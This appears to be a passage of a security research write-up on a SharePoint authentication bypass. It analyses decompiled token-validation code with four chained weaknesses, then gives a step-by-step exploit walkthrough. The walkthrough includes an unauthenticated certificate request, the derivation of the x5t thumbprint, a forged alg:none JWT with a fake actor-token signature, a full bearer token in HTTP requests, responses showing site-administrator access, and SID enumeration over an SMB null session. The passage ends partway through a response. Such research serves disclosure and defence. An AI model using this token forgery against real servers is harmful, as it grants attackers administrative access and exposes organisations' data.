// SPJsonWebSecurityTokenHandlerV2.cs - ValidateToken() - Line 212
val.RequireSignedTokens = false;

This single line disables the JWT library’s cryptographic signature verification. When RequireSignedTokens is false, the library accepts tokens with alg: none in the header, meaning no signature is required on the outer token at all. The library still parses the JWT and populates claims, but never performs any cryptographic verification of the outer token.

The full context of the method:

// SPJsonWebSecurityTokenHandlerV2.cs - Lines 165-223
public override ReadOnlyCollection<ClaimsIdentity> ValidateToken(SecurityToken token)
{
    // ...
    TokenValidationParameters val = new TokenValidationParameters();
    val.CertificateValidator = ((SecurityTokenHandler)(object)this).Configuration.CertificateValidator;
    val.SaveSigninToken = ((SecurityTokenHandler)(object)this).Configuration.SaveBootstrapContext;
    val.ValidateAudience = false; // <--- [1]
    val.ValidateIssuer = false; // <--- [2]
    List<X509SecurityKey> list = new List<X509SecurityKey>();
    // ... populates list with trusted signing keys ...
    val.IssuerSigningKeys = (IEnumerable<SecurityKey>)list;
    val.RequireSignedTokens = false; // <--- [3]
    // ...
    SecurityToken securityToken = default(SecurityToken);
    return new ReadOnlyCollection<ClaimsIdentity>(
        ((JwtSecurityTokenHandler)this).ValidateToken(
            ((JwtSecurityToken)sPJwtSecurityToken).RawData, val, ref securityToken
        ).Identities.ToList()
    );
}

At [1] and [2], the built-in audience and issuer validation from the JWT library are also disabled, SharePoint implements its own validation logic in separate methods. At [3], the critical RequireSignedTokens = false is set. The resulting call to the base JwtSecurityTokenHandler.ValidateToken() processes the JWT without verifying any cryptographic signature.

Weakness 2: Actor token x5t resolution without signature verification

After ReadToken() parses the JWT, SharePoint’s custom validation code resolves the actor token’s signing key using the x5t (X.509 certificate thumbprint) header. This occurs in SPJsonWebSecurityBaseTokenHandlerV2:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 92-103
SecurityKeyIdentifier signingKeyIdentifier = GetSigningKeyIdentifier(sPJwtSecurityToken.ActorToken); // <--- [1]
((SecurityTokenHandler)this).Configuration.IssuerTokenResolver.TryResolveToken(
    signingKeyIdentifier, out var token2); // <--- [2]
if (token2 != null)
{
    ((JwtSecurityToken)sPJwtSecurityToken.ActorToken).SigningToken = token2; // <--- [3]
}

At [1], the call to GetSigningKeyIdentifier extracts the x5t value directly from the actor token’s JWT header:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - GetSigningKeyIdentifier - Lines 135-160
private SecurityKeyIdentifier GetSigningKeyIdentifier(SPJwtSecurityToken jwtToken)
{
    JwtHeader header = ((JwtSecurityToken)jwtToken).Header;
    // ...
    if (string.Equals(header.Alg, "RS256"))
    {
        if (!((Dictionary<string, object>)(object)header).TryGetValue("x5t", out object value))
        {
            throw new SecurityTokenException("Invalid JWT token. Not able to find SigningKeyIdentifier...");
        }
        securityKeyIdentifierClause = new X509ThumbprintKeyIdentifierClause(
            SPBase64UrlEncoder.DecodeBytes(value as string)); // <--- attacker-controlled x5t
    }
    // ...
}

At [2], the call to SPIssuerTokenResolver.TryResolveTokenCore searches all trusted certificates, including SharePoint’s own local Security Token Service (STS) signing certificate, for a thumbprint match:

// SPIssuerTokenResolver.cs - TryResolveTokenCore - Lines 118-142
protected override bool TryResolveTokenCore(SecurityKeyIdentifierClause keyIdentifierClause, out SecurityToken token)
{
    // ... searches TrustedLoginProviders, TrustedSecurityTokenServices ...
    if (TryResolveTokenCoreWithAccessProvider(local.LocalLoginProvider, keyIdentifierClause, out token)) // <--- [4]
    {
        return true;
    }
    return false;
}

At [4], the resolver checks the LocalLoginProvider access provider, SharePoint’s own STS signing certificate, whose x509 certificate can be retrieved via the unauthenticated /_layouts/15/metadata/json/1 endpoint. If an attacker sets the actor token’s x5t header to the thumbprint of SharePoint’s STS certificate, the resolver finds a match and returns an X509SecurityToken wrapping that certificate. At [3], this token is assigned to the actor token’s SigningToken property.

At no point in this flow is the actor token’s signature (In our example we use the string AAAA as a signature in a forged token) cryptographically verified against the resolved signing key. The code resolves the key from x5t, populates SigningToken, but never calls any signature verification function.

Weakness 3: Issuer validation accepts unregistered certificates

After setting the actor token’s SigningToken, the code proceeds to call ValidateIssuer(token). For a token that contains an actor token SigningToken value (which we just achieved above), the logic in ValidateIssuer takes the below path:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - ValidateIssuer(SPJwtSecurityToken) - Lines 745-750
if (token.ActorToken != null && ((JwtSecurityToken)token.ActorToken).SigningToken != null)
{
    ULS.SendTraceTag(573368525u, ..., "Validating the actor token's signing token.");
    ValidateIssuer(((JwtSecurityToken)token.ActorToken).SigningToken as X509SecurityToken,
                   ((JwtSecurityToken)token.ActorToken).Issuer);
    return;
}

This calls the ValidateIssuer(X509SecurityToken, string) overload which accepts tokens signed by unregistered certificates:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 788-812
private void ValidateIssuer(X509SecurityToken signingKey, string tokenIssuer)
{
    // ...
    SPTrustedSecurityTokenService providerBySigningCertificate =
        SPSecurityTokenServiceManager.LocalOrThrow.TrustedSecurityTokenServices
            .GetProviderBySigningCertificate(signingKey.Certificate, tokenIssuer); // <--- [1]

    if (null == providerBySigningCertificate) // <--- [2]
    {
        ULS.SendTraceTag(594416645u, ..., "ValidateTokenIssuer accepted Issuer '{0}' because " +
            "no registered STS matches the signing certificate '{1}'",
            tokenIssuer, signingKey.Certificate.Subject);
        return; // <--- ACCEPTED
    }
    if (SPTrustedProviderBase.IssuerNameMatches(tokenIssuer, providerBySigningCertificate.RegisteredIssuerName))
    {
        return;
    }
    throw new SecurityTokenException("Issuer name is not registered"); // <--- REJECTED
}

At [1] above, the code searches the TrustedSecurityTokenServices collection for a provider whose signing certificate matches. SharePoint’s local STS signing certificate belongs to the LocalLoginProvider access provider, which is not in the TrustedSecurityTokenServices collection. Therefore, GetProviderBySigningCertificate returns null.

At [2], when the result is null, the method accepts the issuer unconditionally and returns to the caller instead of throwing a SecurityTokenException exception.

The intent appears to be accepting tokens from certificates not explicitly registered, but the effect is that an attacker who references SharePoint’s own STS certificate via x5t passes issuer validation because that certificate is not found in the specific TrustedSecurityTokenServices collection being searched.

Weakness 4: GetTokenSignature non-cryptographic check

The final validation step involves GetTokenSignature, which is called during session token construction. This method requires a non-empty signature but performs no cryptographic verification:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 879-920
public static string GetTokenSignature(SPJwtSecurityToken jwtToken)
{
	SPArgumentHelperV2.LogAndThrowOnNull(TaggingUtilities.ReserveTag(591196938u), ULSCat.msoulscat_WSS_SecurityTokenHandler, "jwtToken", jwtToken);
	string rawData = ((JwtSecurityToken)jwtToken).RawData;
	if (string.IsNullOrWhiteSpace(rawData) && string.IsNullOrWhiteSpace(((JwtSecurityToken)jwtToken).RawSignature))
	{
		ULS.SendTraceTag(591196937u, ULSCat.msoulscat_WSS_SecurityTokenHandler, ULSTraceLevel.Unexpected, "The SPJwtSecurityToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	string text = ((JwtSecurityToken)jwtToken).RawSignature;
	if (string.IsNullOrWhiteSpace(text))
	{
		text = rawData.Substring(rawData.LastIndexOf('.') + 1); // <--- [1]
	}
	if (string.IsNullOrWhiteSpace(text))
	{
		if (jwtToken.ActorToken != null)
		{
			text = GetTokenSignature(jwtToken.ActorToken); // <--- [2]
			StringBuilder stringBuilder = new StringBuilder();
			stringBuilder.Append(jwtToken.Audience);
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidFrom.ToFileTimeUtc());
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidTo.ToFileTimeUtc());
			stringBuilder.Append(',');
			foreach (Claim claim in ((JwtSecurityToken)jwtToken).Claims)
			{
				stringBuilder.Append(claim.Value);
				stringBuilder.Append(',');
			}
			return stringBuilder?.ToString() + text; // <--- [3]
		}
		ULS.SendTraceTag(573368524u, Category, ULSTraceLevel.Unexpected, "SPJsonWebSecurityBaseTokenHandlerV2: ActorToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	return text;
}

For the outer token with alg: none, RawSignature is empty (the JWT format is header.payload. with nothing after the final dot). At [1], extracting after the last dot yields an empty string. At [2], the method recurses into the actor token. The actor token’s signature is AAAA, a non-empty string, so at [3] it returns “AAAA” without any cryptographic verification that this value is a valid RSA signature.

Summary

The four weaknesses combine as follows:

Attacker sends a JWT with alg: none in the outer header, so no signature is required in the outer token.
The actor token’s x5t header contains SharePoint’s own STS certificate thumbprint, allowing us to resolve a signing key with no verification.
The resolved certificate is not in TrustedSecurityTokenServices, allowing the issuer to be accepted.
The actor token’s signature is a non-empty value, e.g. AAAA, which is never verified.

After validation, the outer token’s nameid claim, containing either an attacker controlled Windows Security Identifier (SID) or an attacker controlled User Principal Name (UPN), is resolved to a user identity via SPIncomingServerToServerProtocolIdentityHandlerV2.ValidateAndEnsureIdentity(). Alternatively a name id of 0#.w|nt authority\local service can be used to identify as a known local service, through an AccessToken identifier. Our testing showed identifying as a local service exposed less authenticated attack service than identifying via either a SID or UPN.

Our PoC script shows examples of all three mechanisms working.

Walkthrough

We can see a concrete example of the bypass in action by inspecting the HTTP requests required to achieve the authentication bypass.

In order to know the x5t value to use in the inner actortoken token, we must first retrieve the x509 certificate of the STS signing certificate from the target SharePoint site. We can do this via an unauthenticated request to the /_layouts/15/metadata/json/1 URI. For example:

GET /_layouts/15/metadata/json/1 HTTP/1.1
Host: 192.168.86.11
User-Agent: curl/7.81.0
Accept: */*

Which returns the STS signing certificate as part of the response:

HTTP/1.1 200 OK
Cache-Control: private
Transfer-Encoding: chunked
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-7b83-e0bd-6d28-7d5115ac774c
request-id: e01a0ca2-7b83-e0bd-6d28-7d5115ac774c
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"issuer":"00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde","keys":[{"keyValue":{"type":"x509certificate","value":"MIIEhzCCAm+gAwIBAgIQbgEQC4zI97pMh7WkdsMmtTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSIwIAYDVQQDExlTaGFyZVBvaW50IFJvb3QgQXV0aG9yaXR5MCAXDTI2MDMxMTIwMjY1M1oYDzk5OTkwMTAxMDAwMDAwWjBiMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSowKAYDVQQDEyFTaGFyZVBvaW50IFNlY3VyaXR5IFRva2VuIFNlcnZpY2UwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDY8RNv0VUdgmBubMAHYBI8nu1pWUwUDJywDIwKxgoLuu26Wd6tTMnk5Fb7kYVT+gw+wdW80DeOU\/9lAySKat+FESEuwoUKbJP1Kk6vbuvWyYofz91i9oCXXzqAR1AwNsMGr1nAszVRbPaTrcidomvT2DzQ4YBW2IGtDJEpXIcSrN4T5B4bNH+2rXk11vZHG7c31Y\/VuAwybLGndwSYoiT8aTOgnHsEB9jqZjipkinwnowhk1d6LsPawm6X+y8z7SqkVgMdqKVB5gAMECUedv0qGd2+AW\/2j8Dbk3NNW3XddCBye2wQP0GeioQjcveDK4U0n+3qJjOwG0Y4\/7Jex\/IVAgMBAAGjPzA9MA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH\/BAIwADANBgkqhkiG9w0BAQsFAAOCAgEAPXw7TdU6U9ij28uirUm4oQk6Qtdx42G8JNkz44oF4s1ifaODLKqgXCViHRo0bJj3KAz1aSWUdld\/wrOw99tbxPme9sd8ilHN61fKjUPzl7NMyA85895FnA5J62sKcPjmusDHD1WjSYA+y47L\/I3qlUCL9nOPhqjHN4bEQYJV7c9X+9lmnK1QBmqtjQ+Dy8tie6B9XKvSZgb8clVc7pXeG3k4eqNqi8AtgLoW6UmT\/7tXzqotC9oyBmeA3Ucaj99HJ\/4zBN7cOjIL78xNYds8DIVEqGqZFL30uOvJnEecAmtHbMg5yX2oO0p11PSM+JVIiC7gWClfaZ0Ta0tLG5VdmX0wfzmxS+jBEFqvFUA3BFuClQeamKdvIBE7cFXG\/MujpCboiLP0qdZUhGUduFiy94vH0oxKQFZVLT62T4cNbMu0WGGOY67N8p9UKzUvLVis0FnR1nQvy4SJSdt4kBzUUA42z70v\/ACpzHLXsETil+MnGbTXMfEGVzl+s2+9Su4OpTtDe8AIMdDPoH8uaHklLF65FUPKa+aHGlTB9VPyYySC++PCIPIra\/uxjb21V+GBPU8YgbFsOiCNF36AcGakskieghg97EBHumzQuoPnnvCkkRr2\/xU59Yxw01eS42pfVNeJlXDGKwEtAiN1Fwkay2Ji7dq\/wXtFy5OsVBlerec="},"usage":"Signing"}],"name":"00000003-0000-0ff1-ce00-000000000000","serviceName":"00000003-0000-0ff1-ce00-000000000000"}

For completeness, the parsed x509 certificate is shown below.

Version:          3 (0x02)
Serial number:    146220597266833583330723281767636346549 (0x6e01100b8cc8f7ba4c87b5a476c326b5)
Algorithm ID:     SHA256withRSA
Validity
  Not Before:     11/03/2026 20:26:53 (dd-mm-yyyy hh:mm:ss) (260311202653Z)
  Not After:      01/01/9999 00:00:00 (dd-mm-yyyy hh:mm:ss) (99990101000000Z)
Issuer
  C  = US
  O  = Microsoft
  OU = SharePoint
  CN = SharePoint Root Authority
Subject
  C  = US
  O  = Microsoft
  OU = SharePoint
  CN = SharePoint Security Token Service
Fingerprints
  MD5:            8c72ddcf6fdf2bdf3cc173bfcff88bf4
  SHA1:           8bf833e6a7d8a7960f5802b5fffd188599e2a4b2
  SHA256:         9d8a6b787ca17ba72b44200d20d689fae33d13fb57fb166563d11e98d247068c
Public Key
  Algorithm:      RSA
  Length:         2048 bits
  Modulus:        d8:f1:13:6f:d1:55:1d:82:60:6e:6c:c0:07:60:12:3c:
                  9e:ed:69:59:4c:14:0c:9c:b0:0c:8c:0a:c6:0a:0b:ba:
                  ed:ba:59:de:ad:4c:c9:e4:e4:56:fb:91:85:53:fa:0c:
                  3e:c1:d5:bc:d0:37:8e:53:ff:65:03:24:8a:6a:df:85:
                  11:21:2e:c2:85:0a:6c:93:f5:2a:4e:af:6e:eb:d6:c9:
                  8a:1f:cf:dd:62:f6:80:97:5f:3a:80:47:50:30:36:c3:
                  06:af:59:c0:b3:35:51:6c:f6:93:ad:c8:9d:a2:6b:d3:
                  d8:3c:d0:e1:80:56:d8:81:ad:0c:91:29:5c:87:12:ac:
                  de:13:e4:1e:1b:34:7f:b6:ad:79:35:d6:f6:47:1b:b7:
                  37:d5:8f:d5:b8:0c:32:6c:b1:a7:77:04:98:a2:24:fc:
                  69:33:a0:9c:7b:04:07:d8:ea:66:38:a9:92:29:f0:9e:
                  8c:21:93:57:7a:2e:c3:da:c2:6e:97:fb:2f:33:ed:2a:
                  a4:56:03:1d:a8:a5:41:e6:00:0c:10:25:1e:76:fd:2a:
                  19:dd:be:01:6f:f6:8f:c0:db:93:73:4d:5b:75:dd:74:
                  20:72:7b:6c:10:3f:41:9e:8a:84:23:72:f7:83:2b:85:
                  34:9f:ed:ea:26:33:b0:1b:46:38:ff:b2:5e:c7:f2:15
  Exponent:       65537 (0x10001)
Certificate Signature
  Algorithm:      SHA256withRSA
  Signature:      3d:7c:3b:4d:d5:3a:53:d8:a3:db:cb:a2:ad:49:b8:a1:
                  09:3a:42:d7:71:e3:61:bc:24:d9:33:e3:8a:05:e2:cd:
                  62:7d:a3:83:2c:aa:a0:5c:25:62:1d:1a:34:6c:98:f7:
                  28:0c:f5:69:25:94:76:57:7f:c2:b3:b0:f7:db:5b:c4:
                  f9:9e:f6:c7:7c:8a:51:cd:eb:57:ca:8d:43:f3:97:b3:
                  4c:c8:0f:39:f3:de:45:9c:0e:49:eb:6b:0a:70:f8:e6:
                  ba:c0:c7:0f:55:a3:49:80:3e:cb:8e:cb:fc:8d:ea:95:
                  40:8b:f6:73:8f:86:a8:c7:37:86:c4:41:82:55:ed:cf:
                  57:fb:d9:66:9c:ad:50:06:6a:ad:8d:0f:83:cb:cb:62:
                  7b:a0:7d:5c:ab:d2:66:06:fc:72:55:5c:ee:95:de:1b:
                  79:38:7a:a3:6a:8b:c0:2d:80:ba:16:e9:49:93:ff:bb:
                  57:ce:aa:2d:0b:da:32:06:67:80:dd:47:1a:8f:df:47:
                  27:fe:33:04:de:dc:3a:32:0b:ef:cc:4d:61:db:3c:0c:
                  85:44:a8:6a:99:14:bd:f4:b8:eb:c9:9c:47:9c:02:6b:
                  47:6c:c8:39:c9:7d:a8:3b:4a:75:d4:f4:8c:f8:95:48:
                  88:2e:e0:58:29:5f:69:9d:13:6b:4b:4b:1b:95:5d:99:
                  7d:30:7f:39:b1:4b:e8:c1:10:5a:af:15:40:37:04:5b:
                  82:95:07:9a:98:a7:6f:20:11:3b:70:55:c6:fc:cb:a3:
                  a4:26:e8:88:b3:f4:a9:d6:54:84:65:1d:b8:58:b2:f7:
                  8b:c7:d2:8c:4a:40:56:55:2d:3e:b6:4f:87:0d:6c:cb:
                  b4:58:61:8e:63:ae:cd:f2:9f:54:2b:35:2f:2d:58:ac:
                  d0:59:d1:d6:74:2f:cb:84:89:49:db:78:90:1c:d4:50:
                  0e:36:cf:bd:2f:fc:00:a9:cc:72:d7:b0:44:e2:97:e3:
                  27:19:b4:d7:31:f1:06:57:39:7e:b3:6f:bd:4a:ee:0e:
                  a5:3b:43:7b:c0:08:31:d0:cf:a0:7f:2e:68:79:25:2c:
                  5e:b9:15:43:ca:6b:e6:87:1a:54:c1:f5:53:f2:63:24:
                  82:fb:e3:c2:20:f2:2b:6b:fb:b1:8d:bd:b5:57:e1:81:
                  3d:4f:18:81:b1:6c:3a:20:8d:17:7e:80:70:66:a4:b2:
                  48:9e:82:18:3d:ec:40:47:ba:6c:d0:ba:83:e7:9e:f0:
                  a4:91:1a:f6:ff:15:39:f5:8c:70:d3:57:92:e3:6a:5f:
                  54:d7:89:95:70:c6:2b:01:2d:02:23:75:17:09:1a:cb:
                  62:62:ed:da:bf:c1:7b:45:cb:93:ac:54:19:5e:ad:e7

Extensions
  keyUsage CRITICAL:
    digitalSignature,keyEncipherment
  extKeyUsage :
    serverAuth, clientAuth
  basicConstraints CRITICAL:
    {}

Using the above x509 certificate, we can compute the x5t by base64 decoding the entire x509 certificate, computing the SHA1 digest value, then base64 encoding that raw digest value. In our example we get an x5t value of i_gz5qfYp5YPWAK1__0YhZnipLI. We can also see we discover the target realm (af90cc03-4a26-45e9-906a-609cebcebbde) which we will use later in the forged JWT.

We then begin to construct the malicious JWT. The outer token will have a header of:

{"alg": "none", "typ": "JWT"}

The payload is shown below. The audience (aud) claim contains the target systems hostname (win-b0i6kv698ls) and realm. The issuer (iss) claim is 00000003-0000-0ff1-ce00-000000000000 which is the well known SharePoint principal application ID. The Name ID (nameid) represent the SharePoint user we will identify as, in our example we use a SID of S-1-5-21-4203888158-2793536450-3921675298-500 which represent the domain admin that we want to authenticate as using the urn:office:idp:activedirectory identity provider. Finally an inner actortoken token is base64 encoded.

As an aside, we discover the target SID to use by first contacting the target SharePoint servers domain controller over SMB. We can use an SMB NULL session to query the LSARPC named pipe and learn the domain’s Domain ID value. Then by appending Relative Identifier (RID) values (e.g. 500, 1000, 1001, 1002, …) to the Domain ID, we can construct potential user SIDs to authenticate as. By repeating this process we iterate over all users and discover which ones are valid site user administrators. It is worth pointing out that the forged JWT does not solely require a Windows SID, and we can also identify a user via a User Principal Name (UPN), e.g. [email protected] or similar. However, discovering a valid SID is more reliable in an automated scenario (assuming you can access the domain controller) than brute forcing potential UPN’s, which is best suited to manual reconnaissance.

{
  "aud": "00000003-0000-0ff1-ce00-000000000000/win-b0i6kv698ls@af90cc03-4a26-45e9-906a-609cebcebbde",
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572,
  "nameid": "S-1-5-21-4203888158-2793536450-3921675298-500",
  "nii": "urn:office:idp:activedirectory",
  "trustedfordelegation": "true",
  "actortoken": "eyJhbGciOiAiUlMyNTYiLCAidHlwIjogIkpXVCIsICJ4NXQiOiAiaV9nejVxZllwNVlQV0FLMV9fMFloWm5pcExJIn0.eyJpc3MiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYW1laWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYmYiOiAxNzc2NzY1NjcyLCAiZXhwIjogMTc3Njc2OTU3Mn0.AAAA"
}

Inspecting the inner actortoken token, it will have a header as shown below, which includes the x5t value i_gz5qfYp5YPWAK1__0YhZnipLI corresponding to the SharePoint server’s STS signing certificate.

{"alg": "RS256", "typ": "JWT", "x5t": "i_gz5qfYp5YPWAK1__0YhZnipLI"}

The inner actortoken token will have a payload as shown below. Note the nameid of this token is the same as the issuer of the STS certificate, this allows a call to SPJsonWebSecurityBaseTokenHandlerV2.ValidateActorIsSelfIssuer to succeed.

{
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nameid": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572
}

And a signature which is an arbitrary non-empty string:

AAAA

Constructing the above JWT, we can base64 encode it as a bearer token and make a request to an authenticated endpoint, such as /_api/web/currentuser and prove we are authenticating as a SharePoint user.

GET /_api/web/currentuser HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json;odata=verbose

The following response shows this has worked, and the user we identified as is in fact a SharePoint site administrator (The returned IsSiteAdmin value is true).

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=verbose;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 12
SPRequestDuration: 83
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-0b92-e0bd-6d28-7b843e6bda5c
request-id: e01a0ca2-0b92-e0bd-6d28-7b843e6bda5c
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"d":{"__metadata":{"id":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","type":"SP.User"},"Alerts":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Alerts"}},"Groups":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Groups"}},"Id":1073741823,"IsHiddenInUI":false,"LoginName":"SHAREPOINT\\system","Title":"System Account","PrincipalType":1,"Email":"","IsEmailAuthenticationGuestUser":false,"IsShareByEmailGuestUser":false,"IsSiteAdmin":true,"UserId":{"__metadata":{"type":"SP.UserIdInfo"},"NameId":"S-1-0-0","NameIdIssuer":"urn:office:idp:activedirectory"}}}

To begin to interact with the target SharePoint site as this user we can acquire a new form digest value via a POST request to the /_api/contextinfo endpoint.

POST /_api/contextinfo HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json
Content-Length: 0

Whose response contains a new FormDigestValue we can begin to use.

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=minimalmetadata;streaming=true;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 4
SPRequestDuration: 17
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-db97-e0bd-6d28-795e9bdf7bdb
request-id: e01a0ca2-db97-e0bd-6d28-795e9bdf7bdb
